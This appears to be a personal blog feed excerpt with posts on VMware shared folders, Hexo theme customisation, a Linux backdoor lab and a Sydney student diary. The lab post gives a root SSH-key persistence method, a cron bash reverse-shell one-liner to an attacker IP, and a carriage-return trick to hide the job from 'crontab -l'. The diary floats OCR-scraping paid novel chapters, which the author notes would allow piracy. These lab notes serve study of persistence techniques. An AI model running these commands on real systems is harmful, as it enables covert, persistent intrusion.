&lt;li&gt;In Windows 11 File Explorer, enter  &lt;code&gt;\\vmware-host\Shared Folders&lt;/code&gt;  in the address bar and check that your folder appears.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;To find the share by browsing &lt;strong&gt;Network&lt;/strong&gt;, you may need network discovery for that network profile. The screenshot shows my setup. Direct access to the VMware path doesn’t require enabling discovery on public networks.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696215/Typora/2025/11/a92c22729e15e0585a84fcc1e112af53.png&#34; alt=&#34;Network discovery settings used for browsing&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;3&#34;&gt;
&lt;li&gt;To make the share easier to open later, choose &lt;strong&gt;Map network drive&lt;/strong&gt; from &lt;strong&gt;This PC&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696217/Typora/2025/11/e265ff58617284810bf17a32bce6bbd7.png&#34; alt=&#34;Opening Map network drive&#34; /&gt;&lt;/p&gt;
&lt;ol start=&#34;4&#34;&gt;
&lt;li&gt;Choose a drive letter. Enter the share path under &lt;strong&gt;Folder&lt;/strong&gt;, or use &lt;strong&gt;Browse&lt;/strong&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696217/Typora/2025/11/49ad0d1c6d3225352afa5ffe27df5cb8.png&#34; alt=&#34;Specifying the folder to map&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Expand  &lt;code&gt;vmware-host → Shared Folders → VMware共享&lt;/code&gt; . The final component is the share name I chose.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696219/Typora/2025/11/79379495f2c29c73d95616821a42be72.png&#34; alt=&#34;Selecting the named share under vmware-host&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Finish the wizard. The share will appear under network locations in &lt;strong&gt;This PC&lt;/strong&gt; and you can open it from there.&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696219/Typora/2025/11/ef8ab28424e1d5ed8eeea5da6f67beb4.png&#34; alt=&#34;The mapped network drive&#34; /&gt;&lt;/p&gt;
</content>
        <updated>2025-02-16T10:35:51.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/blog-building/theme-customization/updating-my-shokax-theme/</id>
        <title>Updating My ShokaX Theme</title>
        <link rel="alternate" href="https://www.sycamore.top/en/blog-building/theme-customization/updating-my-shokax-theme/"/>
        <content type="html">&lt;p&gt;Shoka-X had changed quite a bit, so I used some spare time to update my theme. I’d customised a fair number of its files the first time around. Getting those changes back was enough work that I wanted to write down the process.&lt;/p&gt;
&lt;p&gt;For the sake of the next upgrade, I’m trying to leave the theme’s source files alone wherever I can.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS: I found the plugin system 🎉. While I’m here, I might as well redo the Hitokoto footer and open an issue.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;span id=&#34;安装-shoka-x&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;installing-shoka-x&#34; data-section=&#34;安装-shoka-x&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#installing-shoka-x&#34;&gt;#&lt;/a&gt; Installing Shoka-X&lt;/h1&gt;
&lt;p&gt;With so many changes, including edits to the theme itself, I started in a fresh directory. I used the ShokaX starter:&lt;/p&gt;
&lt;figure class=&#34;highlight sh&#34;&gt;&lt;figcaption data-lang=&#34;sh&#34;&gt;&lt;/figcaption&gt;&lt;table&gt;&lt;tr&gt;&lt;td data-num=&#34;1&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;git&lt;/span&gt; clone https://github.com/theme-shoka-x/shokax-can &lt;span class=&#34;token parameter variable&#34;&gt;--depth&lt;/span&gt;&lt;span class=&#34;token operator&#34;&gt;=&lt;/span&gt;&lt;span class=&#34;token number&#34;&gt;1&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;2&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token builtin class-name&#34;&gt;cd&lt;/span&gt; shokax-can&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;3&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;pnpm&lt;/span&gt; &lt;span class=&#34;token function&#34;&gt;install&lt;/span&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td data-num=&#34;4&#34;&gt;&lt;/td&gt;&lt;td&gt;&lt;pre&gt;&lt;span class=&#34;token function&#34;&gt;pnpm&lt;/span&gt; dlx hexo s&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&lt;/figure&gt;&lt;p&gt;The fresh install ran locally. From the themes directory I then created a symlink to the installed theme:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;ln -s ../node_modules/hexo-theme-shokax shokax&lt;/code&gt;&lt;/p&gt;
&lt;span id=&#34;更改主题配置&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;updating-the-configuration&#34; data-section=&#34;更改主题配置&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#updating-the-configuration&#34;&gt;#&lt;/a&gt; Updating the configuration&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;PS: The music player seems to work this time without my old changes.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;span id=&#34;更改-_configyml&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;site-configuration&#34; data-section=&#34;更改-_configyml&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#site-configuration&#34;&gt;#&lt;/a&gt; Site configuration&lt;/h2&gt;
&lt;p&gt;In  &lt;code&gt;_config.yml&lt;/code&gt;  I carried over:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;The site description.&lt;/li&gt;
&lt;li&gt;The URL and permalink settings.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;category_map&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Deployment settings.&lt;/li&gt;
&lt;li&gt;Minification settings, including the additional  &lt;code&gt;hexo-lightning-minify&lt;/code&gt;  package. On my Mac the local run reported  &lt;code&gt;Error: Cannot find module &#39;@minify-html/node-darwin-arm64&#39;&lt;/code&gt; . My deployment ran in GitHub Actions, so that local issue didn’t block it.&lt;/li&gt;
&lt;li&gt;The Algolia search configuration I used at the time.&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;复制-theme_configshokaxyml&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;copying-the-theme-configuration&#34; data-section=&#34;复制-theme_configshokaxyml&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#copying-the-theme-configuration&#34;&gt;#&lt;/a&gt; Copying the theme configuration&lt;/h2&gt;
&lt;p&gt;I copied  &lt;code&gt;_config.yml&lt;/code&gt;  from  &lt;code&gt;themes/shokax&lt;/code&gt;  to the project root and named the copy  &lt;code&gt;theme_config.shokax.yml&lt;/code&gt; . The changes I made were:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Set  &lt;code&gt;alternate&lt;/code&gt; , the large site title.&lt;/li&gt;
&lt;li&gt;Adjust the time dark mode starts.&lt;/li&gt;
&lt;li&gt;Add the Travellings link and icon to the menu.&lt;/li&gt;
&lt;li&gt;Enable Waline comments, set the server URL and add placeholder text.&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;source-文件夹迁移&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;moving-the-source-directory&#34; data-section=&#34;source-文件夹迁移&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#moving-the-source-directory&#34;&gt;#&lt;/a&gt; Moving the source directory&lt;/h2&gt;
&lt;p&gt;I copied the contents of my existing  &lt;code&gt;source&lt;/code&gt;  directory over the starter’s.&lt;/p&gt;
&lt;span id=&#34;新增-languagesyml&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;adding-languagesyml&#34; data-section=&#34;新增-languagesyml&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#adding-languagesyml&#34;&gt;#&lt;/a&gt; Adding languages.yml&lt;/h2&gt;
&lt;p&gt;I realised I could override translations without editing the theme’s language files. I added  &lt;code&gt;languages.yml&lt;/code&gt;  in  &lt;code&gt;source/_data/&lt;/code&gt; . For each language, I added the  &lt;code&gt;travellings&lt;/code&gt;  entry under  &lt;code&gt;menu&lt;/code&gt;  for 开往. I also changed the browser tab titles shown when the page becomes active or hidden.&lt;/p&gt;
&lt;span id=&#34;iconfont-相关&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;iconfont&#34; data-section=&#34;iconfont-相关&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#iconfont&#34;&gt;#&lt;/a&gt; Iconfont&lt;/h2&gt;
&lt;p&gt;When I first used the theme, the original Shoka project had stopped updating and joining its Iconfont project wasn’t practical. I ended up modifying the ShokaX source quite a bit.&lt;/p&gt;
&lt;p&gt;This time I found an invitation link in the ShokaX documentation. No need to do all that again 🎉.&lt;/p&gt;
&lt;p&gt;After joining, I added the Shoka icons to my own Iconfont project. In  &lt;code&gt;_config.yml&lt;/code&gt;  I set  &lt;code&gt;iconfont&lt;/code&gt;  to the identifier from the project’s hosted stylesheet, which has the form  &lt;code&gt;//at.alicdn.com/t/c/font_&amp;lt;string&amp;gt;.css&lt;/code&gt; .&lt;/p&gt;
&lt;p&gt;I opened  &lt;code&gt;http://at.alicdn.com/t/c/font_&amp;lt;string&amp;gt;.css&lt;/code&gt;  to find the new icon:&lt;/p&gt;
&lt;p&gt;&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1737283099/Typora/2025/01/428e3f65a6f441f57d07c85941282c63.png&#34; alt=&#34;Finding an icon in the hosted Iconfont stylesheet&#34; /&gt;&lt;/p&gt;
&lt;p&gt;Then I copied  &lt;code&gt;themes/shokax/source/css/_iconfont.styl&lt;/code&gt;  into  &lt;code&gt;source/_data&lt;/code&gt;  and appended the code for the icon.&lt;/p&gt;
&lt;span id=&#34;预加载地址设置&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;preconnecting-to-the-image-host&#34; data-section=&#34;预加载地址设置&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#preconnecting-to-the-image-host&#34;&gt;#&lt;/a&gt; Preconnecting to the image host&lt;/h2&gt;
&lt;p&gt;This setting was new to me, so I tried it out. Most of my images are on Cloudinary, so I added  &lt;code&gt;https://res.cloudinary.com&lt;/code&gt;  under  &lt;code&gt;preConnect&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;seo-优化&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;seo&#34; data-section=&#34;seo-优化&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#seo&#34;&gt;#&lt;/a&gt; SEO&lt;/h2&gt;
&lt;p&gt;I hadn’t configured this before and took the opportunity to set it up.&lt;/p&gt;
&lt;span id=&#34;安装和制作插件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;installing-and-writing-plugins&#34; data-section=&#34;安装和制作插件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#installing-and-writing-plugins&#34;&gt;#&lt;/a&gt; Installing and writing plugins&lt;/h1&gt;
&lt;p&gt;The plugins I tried came in two forms. JavaScript plugins came as folders to download; npm plugins installed through the package manager.&lt;/p&gt;
&lt;span id=&#34;统计网站访问量和访客量&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;counting-visits-and-visitors&#34; data-section=&#34;统计网站访问量和访客量&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#counting-visits-and-visitors&#34;&gt;#&lt;/a&gt; Counting visits and visitors&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;hexo-shokax-busuanzi&lt;/code&gt;  is an npm plugin, so I installed it with  &lt;code&gt;pnpm add&lt;/code&gt; .&lt;/p&gt;
&lt;span id=&#34;插入存活时间&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;showing-the-sites-age&#34; data-section=&#34;插入存活时间&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#showing-the-sites-age&#34;&gt;#&lt;/a&gt; Showing the site’s age&lt;/h2&gt;
&lt;p&gt;This JavaScript plugin took two manual steps:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Create a  &lt;code&gt;scripts&lt;/code&gt;  directory in the Hexo project root and place the JavaScript file inside it.&lt;/li&gt;
&lt;li&gt;Put the  &lt;code&gt;views&lt;/code&gt;  directory at the project root as well.&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;制作一言页脚插件&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;making-a-hitokoto-footer-plugin&#34; data-section=&#34;制作一言页脚插件&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#making-a-hitokoto-footer-plugin&#34;&gt;#&lt;/a&gt; Making a Hitokoto footer plugin&lt;/h2&gt;
&lt;p&gt;My old quote feature required editing  &lt;code&gt;footer.pug&lt;/code&gt; . Once I knew the theme supported plugins, I wanted to try implementing it that way instead.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PS: I ended up making a combined plugin. Too many separate bits in the footer looked cluttered.&lt;/p&gt;
&lt;/blockquote&gt;
</content>
        <updated>2025-01-20T04:05:53.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/cybersecurity/linux-backdoor/linux-backdoors-part-2/</id>
        <title>Linux Backdoors, Part 2</title>
        <link rel="alternate" href="https://www.sycamore.top/en/cybersecurity/linux-backdoor/linux-backdoors-part-2/"/>
        <content type="html">&lt;div class=&#34;note primary&#34;&gt;
&lt;p&gt;I’ve written up the environment separately in &lt;a href=&#34;/en/cybersecurity/linux-backdoor/setting-up-the-linux-backdoor-lab/&#34;&gt;Setting up the Linux lab&lt;/a&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;After gaining control of a server, an intruder may leave scripts, processes or links that allow access to continue. These are often called backdoors.&lt;/p&gt;
&lt;p&gt;This instalment looks at two Linux examples:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SSH public-key authentication&lt;/li&gt;
&lt;li&gt;Scheduled jobs&lt;br /&gt;
…&lt;/li&gt;
&lt;/ul&gt;
&lt;span id=&#34;ssh公钥免密&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;ssh-public-key-authentication&#34; data-section=&#34;ssh公钥免密&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#ssh-public-key-authentication&#34;&gt;#&lt;/a&gt; SSH public-key authentication&lt;/h2&gt;
&lt;p&gt;In this lab I manually registered my SSH public key on the target server by adding it to  &lt;code&gt;/root/.ssh/authorized_keys&lt;/code&gt; . I could then log in as root with the matching private key, without entering the account password.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Implementation:&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Use &lt;strong&gt;Xshell&lt;/strong&gt;&#39;s Tools -&amp;gt; New User Key Generation Wizard to generate &lt;strong&gt;SSH public key and private key&lt;/strong&gt;: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696437/Typora/2026/01/0c7400e842c42ccbcd324c9147cf6c24.png&#34; alt=&#34;image-20260111010853712&#34; /&gt; (Enter a passphrase for the private key.)&lt;/li&gt;
&lt;li&gt;Save the generated public key file (id_rsa_2048.pub) and transfer it to the &lt;strong&gt;target server&lt;/strong&gt;: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696440/Typora/2026/01/8a2edc41bc3463490d0617bcbbd9acd1.png&#34; alt=&#34;image-20260111010925673&#34; /&gt;&lt;/li&gt;
&lt;li&gt;Locate the &lt;strong&gt;authorized_keys&lt;/strong&gt; file. Use the command  &lt;code&gt;find -name authorized_keys&lt;/code&gt; . If it doesn&#39;t exist, create it with  &lt;code&gt;touch /root/.ssh/authorized_keys&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Generate an RSA key pair by running  &lt;code&gt;ssh-keygen -t rsa&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;Add the public key to &lt;strong&gt;authorized_keys&lt;/strong&gt; by running  &lt;code&gt;cat path/to/public_key &amp;gt;&amp;gt; /root/.ssh/authorized_keys&lt;/code&gt;  to complete registration.&lt;/li&gt;
&lt;li&gt;Change file permissions:  &lt;code&gt;chmod 600 ~/.ssh/authorized_keys&lt;/code&gt;  and  &lt;code&gt;chmod 700 ~/.ssh&lt;/code&gt; .&lt;/li&gt;
&lt;li&gt;The attacker uses the &lt;strong&gt;private key&lt;/strong&gt; generated by &lt;strong&gt;Xshell&lt;/strong&gt; and the &lt;strong&gt;passphrase&lt;/strong&gt; entered when the key was generated to log in to the &lt;strong&gt;target server&lt;/strong&gt;: &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696440/Typora/2026/01/f0b36186750c7e6ae6e0cfb6e31536aa.png&#34; alt=&#34;image-20260111010955314&#34; /&gt; &lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696443/Typora/2026/01/3707348bcf16ceccd18bb0594ff0933d.png&#34; alt=&#34;image-20260111011015095&#34; /&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;span id=&#34;crontab后门&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h2 id=&#34;cron-persistence&#34; data-section=&#34;crontab后门&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#cron-persistence&#34;&gt;#&lt;/a&gt; Cron persistence&lt;/h2&gt;
&lt;p&gt;Once running, the cron daemon periodically checks its configuration for jobs that are due, normally once a minute.&lt;br /&gt;
It executes jobs according to the schedules defined there.&lt;br /&gt;
A crontab describes programs to run on a schedule.&lt;br /&gt;
We can create a scheduled backdoor using the &lt;strong&gt;crontab&lt;/strong&gt; command:&lt;br /&gt;
 &lt;code&gt;(crontab -l;echo &#39;*/60 * * * * exec 9&amp;lt;&amp;gt; /dev/tcp/192.168.158.132/2333;exec 0&amp;lt;&amp;amp;9;exec 1&amp;gt;&amp;amp;9 2&amp;gt;&amp;amp;1;/bin/bash --noprofile -i&#39;)|crontab -&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Explanation:&lt;/strong&gt;&lt;br /&gt;
 &lt;code&gt;echo &#39;*/60 * * * *&#39;&lt;/code&gt; : Set to execute every 60 minutes;&lt;br /&gt;
 &lt;code&gt;exec 9&amp;lt;&amp;gt;/dev/tcp/192.168.158.132/2333&lt;/code&gt; : Utilize the functionality provided by bash to parse strings starting with  &lt;code&gt;/dev/tcp/&lt;/code&gt; , specifying the &lt;strong&gt;server IP&lt;/strong&gt; as 192.168.158.132 (&lt;strong&gt;attacker&#39;s&lt;/strong&gt; IP), &lt;strong&gt;port number&lt;/strong&gt; as 2333, specifying descriptor as 9, to establish a network connection;&lt;br /&gt;
 &lt;code&gt;exec 0&amp;lt;&amp;amp;9;exec 1&amp;gt;&amp;amp;9 2&amp;gt;&amp;amp;1;&lt;/code&gt; : &lt;strong&gt;File descriptor&lt;/strong&gt; 0: stdin, 1: stdout, redirect both standard input and output to descriptor 9;&lt;br /&gt;
 &lt;code&gt;/bin/bash --noprofile -i&lt;/code&gt; : Open a shell.&lt;br /&gt;
Essentially, it&#39;s using Bash to connect a &lt;strong&gt;reverse shell&lt;/strong&gt; back to the specified IP address.&lt;/p&gt;
&lt;p&gt;Here, Bash needs to support network redirection, and whether it supports it depends on the compilation configuration of the Bash used.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Hiding:&lt;/strong&gt;&lt;br /&gt;
However, such a backdoor can be seen by the administrator by directly executing  &lt;code&gt;crontab -l&lt;/code&gt; .&lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696444/Typora/2026/01/e8f07ae16e6573488c17eeea6f3339f2.png&#34; alt=&#34;image-20260111011055514&#34; /&gt;&lt;br /&gt;
This command is actually reading the  &lt;code&gt;/var/spool/cron/crontabs/root&lt;/code&gt;  file.&lt;br /&gt;
So, we can utilize a flaw in  &lt;code&gt;cat&lt;/code&gt;  by using some &lt;strong&gt;escape characters&lt;/strong&gt;, such as \r (carriage return), \n (new line), \f (form feed), to &lt;strong&gt;hide&lt;/strong&gt; the command we don&#39;t want the administrator to see:&lt;br /&gt;
 &lt;code&gt;(crontab -l;printf &amp;quot;*/60 * * * * exec 9&amp;lt;&amp;gt; /dev/tcp/192.168.158.132/2333;exec 0&amp;lt;&amp;amp;9;exec 1&amp;gt;&amp;amp;9 2&amp;gt;&amp;amp;1;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n&amp;quot;)|crontab - &lt;/code&gt; &lt;br /&gt;
&lt;img loading=&#34;lazy&#34; data-src=&#34;https://res.cloudinary.com/sycamore/image/upload/v1792696444/Typora/2026/01/0af7f80743588f2bae6b80f3903e55c6.png&#34; alt=&#34;image-20260111011110789&#34; /&gt; However, if  &lt;code&gt;cat -A /var/spool/cron/crontabs/root&lt;/code&gt;  is used, it can still be seen that we have hidden something.&lt;/p&gt;
</content>
        <updated>2024-12-15T15:36:35.000Z</updated>
    </entry>
    <entry>
        <id>https://www.sycamore.top/en/life-notes/personal-journal/a-little-update-from-sydney/</id>
        <title>A Little Update from Sydney</title>
        <link rel="alternate" href="https://www.sycamore.top/en/life-notes/personal-journal/a-little-update-from-sydney/"/>
        <content type="html">&lt;p&gt;The short version: I’m at the University of Sydney doing the Master of Computer Science (Advanced). It’s the end of semester two, 2024, and exams are nearly here.&lt;/p&gt;
&lt;span id=&#34;学习&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;studying&#34; data-section=&#34;学习&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#studying&#34;&gt;#&lt;/a&gt; Studying&lt;/h1&gt;
&lt;p&gt;Time is tight. There’s a lot of practical work here, though I’ve written my share of reports too.&lt;/p&gt;
&lt;p&gt;Classes usually come in two flavours. In a lecture, one professor teaches a whole room of students. A tutorial is smaller and more hands-on: one tutor to a dozen or so students.&lt;/p&gt;
&lt;p&gt;The assignments come one after another, and they’re often a headache. Some courses have weekly tasks on top of that. It’s hard to get a breather during the week, and I usually have to set aside a day of the weekend for coursework.&lt;/p&gt;
&lt;p&gt;I’ve learned a lot, though. Some reports taught me precious little about the subject, but at least my written English got better. And reports are only a small part of it. Quite a few of the assignments have been genuinely interesting and helped me figure things out.&lt;/p&gt;
&lt;span id=&#34;生活&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;everyday-life&#34; data-section=&#34;生活&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#everyday-life&#34;&gt;#&lt;/a&gt; Everyday life&lt;/h1&gt;
&lt;p&gt;By my reckoning, most things here cost about five times what they do back home. A few things cost about the same.&lt;/p&gt;
&lt;p&gt;On an ordinary day I spend upwards of 150 yuan on food alone. I can live with that.&lt;/p&gt;
&lt;p&gt;The rent is what gets me. I pay 2,100 yuan a week, or 8,400 for four weeks, and that’s about as low as I’ve seen in Sydney. Paying less would mean competing for one of the few university rooms. Even those run to around 1,600 a week. Still a lot.&lt;/p&gt;
&lt;span id=&#34;娱乐&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;games&#34; data-section=&#34;娱乐&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#games&#34;&gt;#&lt;/a&gt; Games&lt;/h1&gt;
&lt;p&gt;After finishing the main story of The Witcher 3 and Hearts of Stone, I completely lost the urge to play anything. I even bought Black Myth: Wukong and haven’t started it yet...&lt;/p&gt;
&lt;p&gt;The Witcher 3 really is that good. It’s about a decade old and the textures show their age, but the story, the mechanics, the combat — I had fun with all of it. Especially the story. One choice can open up so many possibilities. It was the first time I’d really felt how a story could branch and weave back together. Even the little side quests and contracts were worth doing.&lt;/p&gt;
&lt;p&gt;Oh, and I can’t exactly leave out Gwent 🐶.&lt;/p&gt;
&lt;p&gt;I can see why people felt Cyberpunk 2077 fell short of what CD Projekt Red could do. The mountain of bugs at launch didn’t help, but even now that the game runs much better, its story just doesn’t come close to The Witcher 3 for me.&lt;br /&gt;
(Phantom Liberty was pretty good, though.)&lt;/p&gt;
&lt;span id=&#34;暑期的计划&#34; aria-hidden=&#34;true&#34;&gt;&lt;/span&gt;&lt;h1 id=&#34;plans-for-the-summer&#34; data-section=&#34;暑期的计划&#34;&gt;&lt;a class=&#34;anchor&#34; href=&#34;#plans-for-the-summer&#34;&gt;#&lt;/a&gt; Plans for the summer&lt;/h1&gt;
&lt;p&gt;My main plan is to work on a university project. It should be fairly relaxed, at least compared with this semester.&lt;/p&gt;
&lt;p&gt;That leaves some time to write code for things I actually want to make. These are ideas that occurred to me in class or in everyday life and still seemed feasible after a little digging. Most tempting first:&lt;/p&gt;
&lt;ul class=&#34;task-list&#34;&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_0&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_0&#34;&gt; &lt;strong&gt;Cyberpunk 2077 mods.&lt;/strong&gt; Ciri once travelled to what looked like the world of Cyberpunk 2077. I’d like to bring together some existing mods and put together a Ciri cosplay set.&lt;/label&gt;
&lt;ul class=&#34;task-list&#34;&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_1&#34; checked=&#34;true&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_1&#34;&gt; Improve Always First Equip. It’s very configurable, but what I really want is something like the weapon inspect animation in VALORANT.&lt;/label&gt;&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_2&#34; checked=&#34;true&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_2&#34;&gt; Replace the main menu background. There was a mod for this, but it barely works since 2.0 and Phantom Liberty. I’ll try to fix it.&lt;/label&gt;&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_3&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_3&#34;&gt; Ciri’s clothes. A mod already exists, but the hands don’t line up properly in first person. I’d like to fix that.&lt;/label&gt;&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_4&#34; checked=&#34;true&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_4&#34;&gt; Ciri’s sword. Tweak the weapon stats in an existing mod. A little boost does help keep things fun on hard difficulty 🐶.&lt;/label&gt;&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_5&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_5&#34;&gt; Ciri has that distinctive dash you trigger with the space bar. There’s a similar ability in 2077, but in cutscenes she can actually teleport. That last bit is very much an idea; it sounds hard.&lt;/label&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_6&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_6&#34;&gt; &lt;strong&gt;Game saves.&lt;/strong&gt; I contributed a few features to &lt;a href=&#34;https://github.com/mcthesw/game-save-manager&#34;&gt;mcthesw/game-save-manager&lt;/a&gt; early on. It’s passed 600 stars now. People are still suggesting improvements and features in the issues, and I’d like to see if I can contribute again.&lt;/label&gt;&lt;/li&gt;
&lt;li class=&#34;task-list-item&#34;&gt;&lt;input type=&#34;checkbox&#34; id=&#34;cbx_7&#34; disabled=&#34;true&#34; /&gt;&lt;label for=&#34;cbx_7&#34;&gt; &lt;strong&gt;OCR for novels.&lt;/strong&gt; &lt;s&gt;I think Qidian changed something about its paid chapters.&lt;/s&gt; Scraping no longer works on most of the sites I’ve seen, but OCR is a different matter. The app blocks screenshots on the device itself. In an Android emulator, though, a script could turn pages and Windows could capture a fixed area for OCR. It struck me that one subscriber could then make pirated copies available to other people.&lt;/label&gt;&lt;/li&gt;
